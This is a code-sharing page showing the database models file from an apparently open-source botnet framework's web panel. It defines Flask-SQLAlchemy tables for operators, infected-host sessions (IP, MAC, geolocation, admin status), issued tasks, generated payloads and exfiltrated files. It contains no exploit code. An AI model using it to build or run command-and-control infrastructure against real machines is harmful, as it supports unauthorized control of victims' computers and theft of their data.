Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
malwaredllc
GitHub Repository: malwaredllc/byob
Path: blob/master/web-gui/buildyourownbotnet/models.py
1292 views
1
from datetime import datetime
2
from flask_bcrypt import Bcrypt
3
from flask_login import UserMixin
4
from flask_sqlalchemy import SQLAlchemy
5
6
# database
7
db = SQLAlchemy()
8
9
# hashing for passwords for user security
10
bcrypt = Bcrypt()
11
12
from buildyourownbotnet import login_manager
13
14
@login_manager.user_loader
15
def load_user(user_id):
16
return User.query.get(int(user_id))
17
18
class User(db.Model, UserMixin):
19
id = db.Column(db.Integer, primary_key=True)
20
username = db.Column(db.String(32), unique=True, nullable=False)
21
password = db.Column(db.String(60), nullable=False)
22
joined = db.Column(db.DateTime, default=datetime.utcnow(), nullable=False)
23
bots = db.Column(db.Integer, default=0)
24
sessions = db.relationship('Session', backref='creator', lazy=True)
25
payloads = db.relationship('Payload', backref='creator', lazy=True)
26
files = db.relationship('ExfiltratedFile', backref='creator', lazy=True)
27
28
def __repr__(self):
29
return "User('{}')".format(self.username)
30
31
class Session(db.Model):
32
id = db.Column(db.Integer, nullable=False)
33
uid = db.Column(db.String(32), primary_key=True, unique=True, nullable=False)
34
online = db.Column(db.Boolean, nullable=False)
35
joined = db.Column(db.DateTime, nullable=False)
36
last_online = db.Column(db.DateTime, nullable=False, default=datetime.utcnow())
37
public_ip = db.Column(db.String(42))
38
local_ip = db.Column(db.String(42))
39
mac_address = db.Column(db.String(17))
40
username = db.Column(db.String(32))
41
administrator = db.Column(db.Boolean)
42
platform = db.Column(db.String(5))
43
device = db.Column(db.String(32))
44
architecture = db.Column(db.String(2))
45
latitude = db.Column(db.Float)
46
longitude = db.Column(db.Float)
47
new = db.Column(db.Boolean, default=True, nullable=False)
48
owner = db.Column(db.String(120), db.ForeignKey('user.username'), nullable=False)
49
tasks = db.relationship('Task', backref='issuer', lazy=True)
50
51
def __repr__(self):
52
return "Session('{0}', '{1}')".format(self.id, self.owner)
53
54
def serialize(self):
55
return {
56
"id": self.id,
57
"uid": self.uid,
58
"online": self.online,
59
"joined": self.joined.__str__(),
60
"last_online": self.last_online.__str__(),
61
"public_ip": self.public_ip,
62
"local_ip": self.local_ip,
63
"mac_address": self.mac_address,
64
"username": self.username,
65
"administrator": self.administrator,
66
"platform": self.platform,
67
"device": self.device,
68
"architecture": self.architecture,
69
"latitude": self.latitude,
70
"longitude": self.longitude,
71
"owner": self.owner
72
}
73
74
class Task(db.Model):
75
id = db.Column(db.Integer, primary_key=True)
76
uid = db.Column(db.String(32), unique=True, nullable=False)
77
task = db.Column(db.Text)
78
result = db.Column(db.Text)
79
issued = db.Column(db.DateTime, nullable=False, default=datetime.utcnow())
80
completed = db.Column(db.DateTime)
81
session = db.Column(db.String(32), db.ForeignKey('session.uid'), nullable=False)
82
83
def __repr__(self):
84
return "Task('{0}', '{1}')".format(self.id, self.task)
85
86
def serialize(self):
87
return {
88
"id": self.id,
89
"uid": self.uid,
90
"task": self.task,
91
"result": self.result,
92
"issued": self.issued.__str__(),
93
"completed": self.completed.__str__()
94
}
95
96
class Payload(db.Model):
97
id = db.Column(db.Integer, primary_key=True)
98
filename = db.Column(db.String(34), unique=True, nullable=False)
99
operating_system = db.Column(db.String(3))
100
architecture = db.Column(db.String(14))
101
created = db.Column(db.DateTime, nullable=False, default=datetime.utcnow())
102
owner = db.Column(db.String(120), db.ForeignKey('user.username'), nullable=False)
103
104
def __repr__(self):
105
return "Payload('{0}', '{1}')".format(self.filename, self.owner)
106
107
def serialize(self):
108
return {
109
"id": self.id,
110
"filename": self.filename,
111
"operating_system": self.operating_system,
112
"architecture": self.architecture,
113
"created": self.created
114
}
115
116
class ExfiltratedFile(db.Model):
117
id = db.Column(db.Integer, primary_key=True)
118
filename = db.Column(db.String(34), unique=True, nullable=False)
119
session = db.Column(db.String(15), nullable=False)
120
module = db.Column(db.String(15), nullable=False)
121
created = db.Column(db.DateTime, nullable=False, default=datetime.utcnow())
122
owner = db.Column(db.String(120), db.ForeignKey('user.username'), nullable=False)
123
124
def __repr__(self):
125
return "ExfiltratedFile('{0}', '{1}')".format(self.filename, self.owner)
126
127
def serialize(self):
128
return {
129
"id": self.id,
130
"filename": self.filename,
131
"session": self.session,
132
"module": self.module,
133
"created": self.created
134
}
135
136